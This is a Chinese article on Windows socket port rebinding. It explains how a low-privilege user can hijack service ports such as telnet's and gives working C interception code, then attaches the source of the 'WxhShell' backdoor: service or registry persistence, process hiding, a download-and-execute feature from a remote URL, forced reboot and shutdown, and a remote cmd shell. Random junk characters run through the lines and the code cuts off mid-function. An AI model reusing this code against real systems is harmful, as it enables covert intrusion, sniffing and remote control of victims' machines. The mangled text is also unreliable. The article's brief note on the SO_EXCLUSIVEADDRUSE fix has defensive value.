在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&8<<!#ob s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
R_1)mPQ^P ,3Wb4so saddr.sin_family = AF_INET;
E/mubA(& d/D,P=j" saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Jd5\&ma "]VDY) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
fdlvn*H l0gY~T/#3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_u&>&,:q t})lr\ 这意味着什么?意味着可以进行如下的攻击:
I=K!)X$ S6v!GQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
vQ:wW',i >i
"qMZ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
B*\$
/bk, +I t#Z3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
pzp,t(%j NS`07 #z^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
eR:b=%T8 Ve{n<{P 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
V=pMq?Nr Sw~(uH_l 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
z{9=1XY -? s&pKi 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
{esJ=FV\ +nZUL*Ut/ #include
xwRhs!`t1 #include
*5_V*v6 #include
"~F3*lk#E #include
!8sgq{x(( DWORD WINAPI ClientThread(LPVOID lpParam);
Wf#VA;d int main()
K]c4"JJ {
0}{'C5 WORD wVersionRequested;
{C3U6kKs;R DWORD ret;
_AFQ >j WSADATA wsaData;
j~;;l!({i BOOL val;
rcV-_+KE(B SOCKADDR_IN saddr;
Z(j{F<\jS SOCKADDR_IN scaddr;
]hA,LY f int err;
jjRUL. SOCKET s;
IOL L1ar SOCKET sc;
%SrM|&[ int caddsize;
As~(7?]r HANDLE mt;
@@@=}!<H= DWORD tid;
:_5/u|{
wVersionRequested = MAKEWORD( 2, 2 );
(a@?s$LG err = WSAStartup( wVersionRequested, &wsaData );
!v|FT.
T` if ( err != 0 ) {
)"Q*G/+2Ie printf("error!WSAStartup failed!\n");
5c5oSy+ return -1;
-'`TL$ }
TX}T|ri saddr.sin_family = AF_INET;
R x7X_A} ('O}&F1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7ER|'j D f4+^B,1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
eujK4s saddr.sin_port = htons(23);
]}Z4P-"t if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k|vI<:'p, {
F(5hmr printf("error!socket failed!\n");
.B72C[' c return -1;
?m7:if+y }
=-KMb`xT val = TRUE;
ht =P\E //SO_REUSEADDR选项就是可以实现端口重绑定的
b| M3` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
0v)bA}k {
q5x[~]? printf("error!setsockopt failed!\n");
7y^%7U \ return -1;
2f>PO +4S{ }
}|\d+V2On //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9Fo fr //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-d+aV1n //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
o:S0* \f:z+F!6R if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vI1i,x#i {
vb
Y3;+M> ret=GetLastError();
1x)ZB~L printf("error!bind failed!\n");
({s6eqMhDd return -1;
m)v''`9LU }
<TGn=>u listen(s,2);
@"-</x3o while(1)
L<^j"!0 {
*&BnF\?m caddsize = sizeof(scaddr);
B* kcNlW //接受连接请求
;-P)m sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
dCyqvg6u if(sc!=INVALID_SOCKET)
v+7kU= {
!Ucjax~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$+JS&k/'m if(mt==NULL)
7?j;7.i
s( {
Q?b14]6im printf("Thread Creat Failed!\n");
o?L'Pg break;
(jjTK'0[ }
v
^[39*8 }
>Y7a4~ufko CloseHandle(mt);
1 `^Rdi0 }
[x=jH>Y closesocket(s);
z>sbr<doa WSACleanup();
SIO&rrT. return 0;
> fnh+M }
,}oM-B DWORD WINAPI ClientThread(LPVOID lpParam)
-9N@$+T {
E )Gw0]G SOCKET ss = (SOCKET)lpParam;
,.eWQK~ SOCKET sc;
v+p{|X- unsigned char buf[4096];
Lbe\@S SOCKADDR_IN saddr;
`&\Q +W long num;
\(226^|j DWORD val;
'z76Sa DWORD ret;
!cKz7?w //如果是隐藏端口应用的话,可以在此处加一些判断
+uay(3m(( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
CYOI.#m2 saddr.sin_family = AF_INET;
8!.ojdyn saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3bO(?l`3h saddr.sin_port = htons(23);
*6HTV0jv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hxce\OuU0h {
*8~86u GU printf("error!socket failed!\n");
c/c$D;T return -1;
zJe#m|Z }
fXrXV~'8 val = 100;
[MuEoWrq(} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^N8)]F, {
U(~+o ret = GetLastError();
<ZU=6Hq return -1;
P[s8JDqu }
Aw&tP[N[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d,Y_GCZ7|W {
j
";2o( ret = GetLastError();
ECv)v return -1;
j*~T1i }
9UvXC)R1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
~]ZpA-*@Ut {
%Uz(Vd#K printf("error!socket connect failed!\n");
zYl#4O`=c closesocket(sc);
i2~ closesocket(ss);
,3nN[)dk return -1;
^>"z@$|\: }
5`f@> r? while(1)
Y@PI {;! {
Tw + //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)BRKZQN //如果是嗅探内容的话,可以再此处进行内容分析和记录
T#bu
V //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
O%r; 5kP num = recv(ss,buf,4096,0);
$s<Ne{? if(num>0)
y"Nsh>h send(sc,buf,num,0);
fGmT_C0t else if(num==0)
ZE%YXG break;
aL\nT XakX num = recv(sc,buf,4096,0);
{3&|tk!* if(num>0)
c'*a{CV4P send(ss,buf,num,0);
(Vo>e =q else if(num==0)
*Vho?P6y\Y break;
ek&kv #G }
28
3H closesocket(ss);
O:da-xWJ closesocket(sc);
4b:s<$TZ return 0 ;
L \;6y*K }
vVL@K,q ne^imht L<fvKmo(fw ==========================================================
-,["c9'3 }x&N^Ky3c 下边附上一个代码,,WXhSHELL
umdG(osR bGorH=pb5R ==========================================================
v!%5&: c3 ^ "\R\COQ #include "stdafx.h"
&N;-J2M <x!GE>sf+ #include <stdio.h>
/EG~sRvl} #include <string.h>
!~h}8'a? #include <windows.h>
5aa<qtUjH #include <winsock2.h>
Y[ N^p#t{ #include <winsvc.h>
O iFS}p
#include <urlmon.h>
pJ
?~fp J+f!Ar #pragma comment (lib, "Ws2_32.lib")
;*,f< #pragma comment (lib, "urlmon.lib")
~xoF6CF ,k G>?4 #define MAX_USER 100 // 最大客户端连接数
8|$3OVS #define BUF_SOCK 200 // sock buffer
/x1MPP>fu #define KEY_BUFF 255 // 输入 buffer
Iuh/I +[7 CA +uKM^"6 #define REBOOT 0 // 重启
is/scv< #define SHUTDOWN 1 // 关机
:\=CRaA It75R}B #define DEF_PORT 5000 // 监听端口
r:]1O* SvR7eC #define REG_LEN 16 // 注册表键长度
-J^(eog[6 #define SVC_LEN 80 // NT服务名长度
PdVfO8- n-TQ*&h]3S // 从dll定义API
~ Uo)0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
?h1H.s2X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
7h)iu9j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@UdfAyL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
lqb/eN9(t IVW1]y // wxhshell配置信息
i.:. Y struct WSCFG {
~i.k$XGA int ws_port; // 监听端口
$2%f 8& char ws_passstr[REG_LEN]; // 口令
KOwOIDt int ws_autoins; // 安装标记, 1=yes 0=no
pn*3\ char ws_regname[REG_LEN]; // 注册表键名
U#1bp}y char ws_svcname[REG_LEN]; // 服务名
0T>H)c6:\ char ws_svcdisp[SVC_LEN]; // 服务显示名
72veLB char ws_svcdesc[SVC_LEN]; // 服务描述信息
x1ztfJd char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F!.E5<&7= int ws_downexe; // 下载执行标记, 1=yes 0=no
wYlf^~#" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
J6jwBo2m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
m5Tr-w$QY "5A&_E }3
};
@ps1Dr4s t5lO'Ll*Q] // default Wxhshell configuration
|g3?y/l struct WSCFG wscfg={DEF_PORT,
!*`-iQo& "xuhuanlingzhe",
aC<KN:TN6 1,
%2V-~.Ro6 "Wxhshell",
Rml2"9"` "Wxhshell",
;Q+xKh% "WxhShell Service",
y?SyInt "Wrsky Windows CmdShell Service",
boo
}u "Please Input Your Password: ",
)3(;tT,$}^ 1,
`f'K@ "
http://www.wrsky.com/wxhshell.exe",
K|oacOF9 "Wxhshell.exe"
FCkf# };
HD N9.5S 07Edfe // 消息定义模块
-)~SM& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
-[qq(E char *msg_ws_prompt="\n\r? for help\n\r#>";
K6olYG> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
wd/<
8>2X char *msg_ws_ext="\n\rExit.";
f>ZyI{ char *msg_ws_end="\n\rQuit.";
^`<w&I@ char *msg_ws_boot="\n\rReboot...";
SIKOFs char *msg_ws_poff="\n\rShutdown...";
xTGxvGv8 char *msg_ws_down="\n\rSave to ";
z%/N!RLW smm]6 char *msg_ws_err="\n\rErr!";
]!IVz)<E& char *msg_ws_ok="\n\rOK!";
o!~Jzd.=h 1@gg uRF: char ExeFile[MAX_PATH];
4H+Ked&Oq int nUser = 0;
s{w[b\rA HANDLE handles[MAX_USER];
{hJXj, int OsIsNt;
M?/jkc.8H zB?
V_aT SERVICE_STATUS serviceStatus;
0cT*z( SERVICE_STATUS_HANDLE hServiceStatusHandle;
7$rjlVe |X`/ // 函数声明
}za[E>z int Install(void);
*|_"W+JC int Uninstall(void);
I=;+n- int DownloadFile(char *sURL, SOCKET wsh);
lHZU iB int Boot(int flag);
^GBe)~MT void HideProc(void);
,j 5&6X=1M int GetOsVer(void);
l$hJE;n int Wxhshell(SOCKET wsl);
^'jEnN( void TalkWithClient(void *cs);
eh[_~>w int CmdShell(SOCKET sock);
S\CRG> int StartFromService(void);
a" H WGY int StartWxhshell(LPSTR lpCmdLine);
'Z`$n8 ~8m=1)A{( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<94_@3 VOID WINAPI NTServiceHandler( DWORD fdwControl );
(5Sivw*mP \cLSf= // 数据结构和表定义
6DZ),F,M SERVICE_TABLE_ENTRY DispatchTable[] =
GHQ;hN: {
kPjd_8z2n {wscfg.ws_svcname, NTServiceMain},
``A 0WN {NULL, NULL}
r_YIpnJ };
S!{t6'8K 8?Z4-6!{V, // 自我安装
+w8R!jdA int Install(void)
y ?G_y {
qT/Do?Y char svExeFile[MAX_PATH];
?b!Fa HKEY key;
<|?K%FP7Z strcpy(svExeFile,ExeFile);
dCu'>G\bP 5
|/9}^T // 如果是win9x系统,修改注册表设为自启动
ip~$X2 if(!OsIsNt) {
ql<rU@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
b~BIz95 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z@gnsPN^r RegCloseKey(key);
wZh:F
! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Bb{!Yh].:A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>*$; RegCloseKey(key);
Ys8SDlMo return 0;
*z'yk* }
V]S1X^ }
OMk5{-8B }
.q][? mW3 else {
>\w&6i~
oQ=>'w // 如果是NT以上系统,安装为系统服务
3DaQo0N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4Z*U}w) if (schSCManager!=0)
OUP?p@%]< {
,^8 MB. SC_HANDLE schService = CreateService
NU(AEfF (
BGr.yEy schSCManager,
$W;b{H=F wscfg.ws_svcname,
b6E<r>q wscfg.ws_svcdisp,
]B=C|usJ SERVICE_ALL_ACCESS,
1p'Le! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
A>VX*xd SERVICE_AUTO_START,
iRi{$.pVJ SERVICE_ERROR_NORMAL,
tvd0R$5} svExeFile,
vEQ<A<[Z NULL,
gw _$ NULL,
[ $fJRR NULL,
Z X~
_g@
NULL,
//Ai.Q.J[ NULL
0Aa`p3.) );
YK{a if (schService!=0)
H.G!A6bd {
KLC{7"6e) CloseServiceHandle(schService);
wY"o`oZ CloseServiceHandle(schSCManager);
@d"wAZzD? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$<p8TtI=YQ strcat(svExeFile,wscfg.ws_svcname);
h.K(P+h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oVCmI"' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
I?Q+9Rmm`J RegCloseKey(key);
S=3^Q;V/1 return 0;
zhB ">j8j }
EC<b3 }
D=RU`?L CloseServiceHandle(schSCManager);
TCvSc\Q[:1 }
fE,9zUo }
^/Sh=4=G <5@PWrU?[[ return 1;
69#8Z+dw7 }
HEA eo! c-j_IN Gm // 自我卸载
H(Ms^8Vs~: int Uninstall(void)
A>.2OC+ {
p4VSma_( HKEY key;
PNSMcakD VhEM k\ if(!OsIsNt) {
,)~E>[=+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>NV=LOO RegDeleteValue(key,wscfg.ws_regname);
%~*jae!f RegCloseKey(key);
P%X-@0) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
o ojiJ~ RegDeleteValue(key,wscfg.ws_regname);
si(;y]( RegCloseKey(key);
uHNpfKnZ return 0;
#ZiT- }
dPjhq(8 zU }
7.bN99{xPM }
v[<Bjs\q5 else {
ZkB3[$4C=5 VF0dE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6gOe!mm if (schSCManager!=0)
59Sw+iZj {
NHX>2-b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\Btk;ivg if (schService!=0)
u~Tg&0V30 {
9h(IUD{8 if(DeleteService(schService)!=0) {
`Iy4=nVb CloseServiceHandle(schService);
p
SN~DvR CloseServiceHandle(schSCManager);
`0#H]=$2h return 0;
:46h+?
}
]B9 ^3x[: CloseServiceHandle(schService);
&~5=K }
[6(Iwz? CloseServiceHandle(schSCManager);
G%TL/Z40 }
Ua*&_~7kJ }
;_<)JqUh JhR W[~ return 1;
rVAL|0;3 }
nv5u%B^ r{+aeLu // 从指定url下载文件
)WR_
ug int DownloadFile(char *sURL, SOCKET wsh)
8
|h9sn;P {
oUW<4l HRESULT hr;
=?0QqCjK) char seps[]= "/";
e9u@`ZC07 char *token;
dYOF2si~% char *file;
3/M.0}e char myURL[MAX_PATH];
#-u [$TA char myFILE[MAX_PATH];
%6 =\5> :,*eX' fH strcpy(myURL,sURL);
@Z\2* 1y6 token=strtok(myURL,seps);
Qs+ k)e, while(token!=NULL)
>R,?hWT {
Ri?\m!o file=token;
e-D4'lu token=strtok(NULL,seps);
F!KV\?eM$ }
I^Qx/uTKw 0kCQ0xB[a5 GetCurrentDirectory(MAX_PATH,myFILE);
J+<p+(^*v strcat(myFILE, "\\");
DOm-)zl{|x strcat(myFILE, file);
|9NIGg'n send(wsh,myFILE,strlen(myFILE),0);
&+nRIv S_` send(wsh,"...",3,0);
J l7z|Q S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
/3^P_\,>f if(hr==S_OK)
xNdID j@ return 0;
$T
dC/#7 else
-a) T6:e return 1;
hH+bt!aH _GbE^ }
Z^tGu7x ged,> // 系统电源模块
gAE!aKy int Boot(int flag)
kC^.4n
om {
StQ@g HANDLE hToken;
QdDtvJLf TOKEN_PRIVILEGES tkp;
,# "(Z ^Qh-(u` if(OsIsNt) {
K=kH%ZK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
z<a2cQ?XQ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!
sYf< tkp.PrivilegeCount = 1;
#w~0uCzQ@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
B7"Fp AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,8SWe if(flag==REBOOT) {
?ei%RWo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>riq98Us/ return 0;
}]h\/, }
jEU'.RBN% else {
\5[-Ml if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
yU`:IMz return 0;
\C\gn]Z }
0o68rF5^s }
cgNt_8qC else {
~ v1W if(flag==REBOOT) {
`Wf5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
rye)qp| return 0;
~u/@rqF }
NV!4(_~ else {
Hhf72IX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Wu{&;$ return 0;
=WRO\lgv. }
3h JH(ToO }
Dt {') k&DGJ5m$. return 1;
!`C?nY }
eti9nPjG iB{xvyR // win9x进程隐藏模块
mmN|F$;r void HideProc(void)
$HRed|*.C {
)q(:eoLDm (@?eLJlT HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
U?6yke if ( hKernel != NULL )
^uBwj}6 {
(n=Aa; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?Y!^I2Y6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@W [{2d FreeLibrary(hKernel);
i_YW;x }
97x%2.\: ;tN4HiN return;
%AgA -pBp }
$eCGez<E +wts 7,3 // 获取操作系统版本
l4`^! int GetOsVer(void)
("F)
{
Kfd _uXL> OSVERSIONINFO winfo;
tJ1-DoU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4.k`[q8 GetVersionEx(&winfo);
y$h"ty{g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
A5+5J_)* return 1;
: ~'Z(-a else
S2}Z&X( return 0;
ZV#$Z }
4@~a<P# afy/K'~ // 客户端句柄模块
SEU\}Ni{ int Wxhshell(SOCKET wsl)
K!7q!%Ju {
Z%;)@0~f SOCKET wsh;
) BlJ|M struct sockaddr_in client;
u7(]; DWORD myID;
=f4<({9 h+xA?[c= while(nUser<MAX_USER)
4a 4N
C {
B<C&ay int nSize=sizeof(client);
/.2u.G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
e7's)C>/' if(wsh==INVALID_SOCKET) return 1;
eRVY.E< |=,83,a handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#jgqkMOd,j if(handles[nUser]==0)
4[(?L{ closesocket(wsh);
Lv3XYZgW~ else
2mLUdx~c nUser++;
NJ>,'s }
Za9$Hh/X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:r^klJ(m 9^p32G return 0;
@jKDj]\ }
~ ;XYwQ" >Pyc[_j // 关闭 socket
@bY?$fj_u void CloseIt(SOCKET wsh)
c G*(C {
O*ImLR)i+s closesocket(wsh);
1 M=
nUser--;
iW;}%$lVX ExitThread(0);
t,1in4sN }
"kU>~~y, ~r PYJ // 客户端请求句柄
lJlZHO void TalkWithClient(void *cs)
drs-mt8 {
Vl4Z_viNH !+=Zjm4L SOCKET wsh=(SOCKET)cs;
|a>}9:g,=* char pwd[SVC_LEN];
$(XgKq&xWZ char cmd[KEY_BUFF];
db^aL8 char chr[1];
{GK(fBE int i,j;
yqYhe-" 8Kk3_ y while (nUser < MAX_USER) {
^pN 5NwC5 x!`b'U\ if(wscfg.ws_passstr) {
zw,-.fmM# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\a?K?v|8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[u7 vY@ //ZeroMemory(pwd,KEY_BUFF);
KS?mw`Nr i=0;
B%2L1T= while(i<SVC_LEN) {
<_>.!9q (Hl8U // 设置超时
CJv>/#$/F fd_set FdRead;
xM%`KP.8X struct timeval TimeOut;
_HLC>pH~# FD_ZERO(&FdRead);
/%5_~Jkr, FD_SET(wsh,&FdRead);
;m''9z)2 TimeOut.tv_sec=8;
</|)"OD9 TimeOut.tv_usec=0;
YsZ{1W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
z'_&|-m if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
.#sz|0 |7]?>- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Yg[ v/[] pwd
=chr[0]; 0hFH^2%UY
if(chr[0]==0xd || chr[0]==0xa) { |>Z&S=\I)
pwd=0; Z@}sCZ=#A
break; abL/Y23
"
} FOc|*>aKP
i++; G
*ds4R?!
} 3IGCl w(
:fRmUAK%
// 如果是非法用户,关闭 socket Z^{+,$H@
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sf=F cb
} O@nqHZ
QH4k!^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TeKC} NW
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qQL.c+%L
5dqQws-,?1
while(1) { 8^8>qSD1
qw|JJ
ZeroMemory(cmd,KEY_BUFF); o>@=N2n
-MDOZz\
// 自动支持客户端 telnet标准 ) @!~8<_"
j=0; HOq4i!
while(j<KEY_BUFF) { 5/tj
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /731.l
cmd[j]=chr[0]; l6V%"Lo/)
if(chr[0]==0xa || chr[0]==0xd) { IhUW=1&J
cmd[j]=0; Cy<T Vk8
break; L'13BRu`
} &S<?07Z
j++; x)j/
} SOhSg]g
c[&d @
// 下载文件 V_Xy2<V
if(strstr(cmd,"http://")) { oDz*~{BHg
send(wsh,msg_ws_down,strlen(msg_ws_down),0); o>0O@NE
if(DownloadFile(cmd,wsh)) 1$);V,DK!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c/b%T
else r|l53I5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u/_Gq[Q,u
} ri#,ec|J
else { &}>|5>cJu
MJ1W*'9</W
switch(cmd[0]) { ==nYe{2
$<
A8gTJ
// 帮助 N )'8o}E
case '?': { I0I_vu
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^OsA+Ea\
break; sP9 ^IP
} `@4 2jG}*
// 安装 MhHr*!N"}
case 'i': { 2IKxh
if(Install()) ]#vWKNv:;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q.rB\8ea
else tceIA8d6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FTbT9
break; I%pCm||p
} \H,V 9!B
// 卸载 +]A+!8%Z
case 'r': { iPA@<D%
if(Uninstall()) -zPm{a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dm>T"4B`/
else o~Bk0V=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zA2UFax=
break; ^:qpa5^"
} ;n3uV`\
// 显示 wxhshell 所在路径 sXSj OUI
case 'p': { [Xs}FJ
char svExeFile[MAX_PATH]; Coga-: 2vu
strcpy(svExeFile,"\n\r"); yonJd
strcat(svExeFile,ExeFile); dD[v=Z_
send(wsh,svExeFile,strlen(svExeFile),0); `DI{wqV9
break; ^fA3<|
} JOA%Y;`<#
// 重启 :X3rd|;kc
case 'b': { \%w7D6dEZ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \B*k_W/r@
if(Boot(REBOOT)) #rh0r`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '}wG"0
else { (jp1; #P!
closesocket(wsh); xnl<<}4pJ
ExitThread(0); {;]uL`abi?
} :`{9x%o;
break; *raIV]W3
} p5lR-G
// 关机 Q{%HW4lg
case 'd': { o@qN#Mg?>}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F@>w&A~K
if(Boot(SHUTDOWN)) =_#ye}E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &@mvw=d
else { ZrmnQ
closesocket(wsh); )v*v
ExitThread(0); Ln"+nKr
} K?z*3^^X;
break; ~*66 3pA
} |usnY
// 获取shell XS}Zq4H
case 's': { (Q}PeKM?jq
CmdShell(wsh); H=JP3ID>{
closesocket(wsh); ^ %~Et>C
ExitThread(0); Da9* /
break; <wIp$F.
} 6LSPPMM
// 退出 F!z! :yp
case 'x': { 2jI4V;H8g
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5O;/ lX!u
CloseIt(wsh); [i,5>YIk
break; ,U|u-.~ZU
} |_Naun=+~
// 离开 9b{g+lMZo
case 'q': { "2y7l
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }e&KO?x+
closesocket(wsh); ANA2S*r
WSACleanup(); X+(aQ
>y
exit(1); S&4w`hdD>~
break; GQYtH#
} kw*Cr/'*
} '^P*F9
} LM'*OtpDG
$5 q{vy
// 提示信息 ?X8K$g
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J@u!S~&r
} S>/I?(J
} +1JZB*W
=$:4v`W0(
return; Ymrpf
} d\1:1ucV
9hz7drhR;\
// shell模块句柄 oHP>v_X
int CmdShell(SOCKET sock) ?z4uze1
{ ^c;skV&S
STARTUPINFO si; (HTk;vbZm
ZeroMemory(&si,sizeof(si)); %k1q4qOG]^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oKMg7 3*
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |-cALQ
PROCESS_INFORMATION ProcessInfo; IdQwLt
char cmdline[]="cmd"; NO0[`jy(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ey9fbS ^I
return 0; !0d9<SVC
} he#Tr'j
OTy4"%
// 自身启动模式 {
V=:O
int StartFromService(void) 2Wc;hJ.1
{ 0X S' v,|
typedef struct z9uEOX&2\
{ Og%zf1)aZM
DWORD ExitStatus; eAenkUBz6,
DWORD PebBaseAddress; q) zu}m
DWORD AffinityMask; 45!`g+)
DWORD BasePriority; S+e-b'++?
